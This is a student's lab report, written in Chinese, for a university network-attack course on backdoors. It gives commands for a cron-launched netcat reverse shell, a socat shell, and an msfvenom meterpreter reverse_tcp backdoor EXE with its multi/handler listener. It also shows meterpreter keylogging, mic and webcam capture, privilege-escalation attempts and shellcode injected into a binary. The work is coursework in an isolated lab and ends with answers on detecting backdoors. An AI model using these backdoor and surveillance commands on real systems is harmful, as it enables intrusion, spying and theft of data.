2018-2019-2 20165315《网络对抗技术》Exp2 后门原理与实践
一、实验任务
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
二、实验步骤
1、使用netcat获取主机操作Shell,cron启动
在此任务中,我将kali作为受害机,MacOS系统作为攻击机
- 在Mac终端中监听5315号端口,命令为
nc -l 5315
- 编辑一条定时任务,命令为
crontab -e
,选择vim.basic编辑器
- 在编辑器中的最后一行加上
06 * * * * /bin/netcat 10.0.0.165 5303 -e /bin/sh
,使每个小时的第6分钟反向连接Mac主机的5315端口(我做实验正好是第5分钟,命令中IP地址为攻击机IP)
- 1分钟后,3点06分时,攻击机获取了受害机的shell操作权,攻击成功
2、使用socat获取主机操作Shell, 任务计划启动
socat简介:
socat是一个多功能的网络工具,名字来由是“ Socket CAT”,可以看作是netcat的N倍加强版。
socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。
socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip,tcp,udp,ipv6,pipe,exec,system,open,proxy,openssl,socket等。
由于我的主机是MacOS系统,故没有按照老师的指导方法进行操作,具体操作参考自该博客。
此项任务中我将MacOS系统作为受害机,Kali作为攻击机。
- 在Mac命令行中下载socat,指令为
brew install socat
- 在受害机上执行
socat tcp-l:5315 system:bash,pty,stderr
指令,进行端口转发
- 在攻击机中执行
socat - tcp:10.1.1.165:5315
,获取受害机shell操作权(命令中IP地址为受害机IP)
3、使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell
Meterpreter简介:
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
Meterpreter shell作为渗透模块有很多有用的功能,比如打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息等等。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。
由于MacOS系统无法执行exe文件,故此任务我还是用了win7的虚拟机,按照老师的指导方法进行操作。
此项任务中我将Win7系统作为受害机,Kali作为攻击机。
- 在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.196.188 LPORT=5315 -f exe > 20165315_backdoor.exe
,生成后门程序“20155312_backdoor.exe”(命令中IP地址为攻击机IP)
- 让受害机进入接收文件模式,指令为
ncat -l 5315 > 20165315_backdoor.exe
- 将生成的后门程序传送到Windows主机上,指令为
nc 10.1.1.143 5315 < 20165315_backdoor.exe
(命令中IP地址为受害机IP)
- 在Kali中再打开一个终端,使用
msfconsole
指令进入msf控制台
- 依次输入如下指令进行配置:
# use exploit/multi/handler
//使用监听模块,设置payload
# set payload windows/meterpreter/reverse_tcp
//使用和生成后门程序时相同的payload
# set LHOST 192.168.192.188
//这里用的是LinuxIP,和生成后门程序时指定的IP相同
# set LPORT 5315
//同样要使用相同的端口
- 输入
exploit
开始监听
- 在win7主机中运行后门程序,攻击机获取受害机Shell,指令为
20165315_backdoor.exe
4、使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用
record_mic
指令可以截获一段音频
在当前目录下可找到存储的音频文件:
- 使用
webcam_snap
指令可以使用摄像头进行拍照
由于我的虚拟机是Win7系统,没有摄像功能,而主机又是MacOS系统,找了半天都没找到怎么开启摄像机...但是这个指令我已经明白如何使用,没有截图希望老师谅解~
- 使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
- 先使用
getuid
指令查看当前用户,使用getsystem
指令进行提权,由于是Win7系统,提权失败
5、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
这一项任务还在尝试,如果做出来会有后期更新~
通过后期的尝试与参考这个博客,任务完成过程如下~
此项任务中我将Kali的终端1作为受害机,终端2作为攻击机(这是由于Windows系统无法执行pwn1文件)。
-
通过MSF生成shellcode,并注入20165315pwn1,生成20165315_msf后门程序,指令为
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.196.190 LPORT=5315 -x /root/20165315/exp1/20165315pwn1 -f elf > 20165315_msf
-
使用msfconsole控制台
-
在另一个终端中,运行生成的20165315_msf文件,会发现控制台已获取该终端shell权限
三、实验中遇到的问题
在做任务三的时候,我本来想像任务二一样,在网上找一下针对mac的攻击教程,但是在运行到msf控制台时,发现执行exploit指令时,由于macOS系统无法执行exe文件,导致kali无法进行攻击(这说明macOS真的安全)
后来我查到一个博客,可以用msfvenom -p linux/x86/meterpreter/reverse_tcp lhost lport -f elf -o shell
指令,虽然文件是生成了,但是...mac还是不能运行这个文件!太安全了导致实验做不了很难受了QAQ
解决过程:
大丈夫能屈能伸,我...最后还是选择了Win7虚拟机...如果有大神知道怎么攻击Mac麻烦在评论里指导我一下,蟹蟹!
四、实验总结
1、基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
当朋友的QQ号被盗后,攻击者借QQ号向我发送自动下载恶意后门程序的链接,假称这是投票链接,如果我没有防范意识,直接点击链接,就会自动下载恶意程序,对电脑的安全造成很大的影响。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows可以使用任务计划,或者当在运行一个含有绑定后门程序的软件时,后门就可以被开启;linux可以使用cron定时触发,也可以通过对正常软件的绑定注入shellcode达到开启后门的目的
(3)Meterpreter有哪些给你映像深刻的功能?
可以通过反向链接,获取所有执行了含后门的可执行文件的主机shell操作权,从而得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息等等。
(4)如何发现自己有系统有没有被安装后门?
查看开机自启动项、任务计划程序中是否有可疑程序;安装专门的杀毒软件,实时防护;查看本机端口,判断是否有被异常开放的端口等等。
2、实验体会
这次实验趣味性很强,通过学习老师教程以及学长学姐的博客,基本都能够完成实验。在这次实验中,我学会了利用后门程序对主机进行注入攻击,学会了使用netcat、socat、meterpreter等,虽然内容简单,但我已经基本了解后门的基本原理。在今后的学习中,我将会进一步深入研究后门的各种理论知识。
本次实验也让我更加了解了一些网络攻击的手段,加强了网络安全防范意识。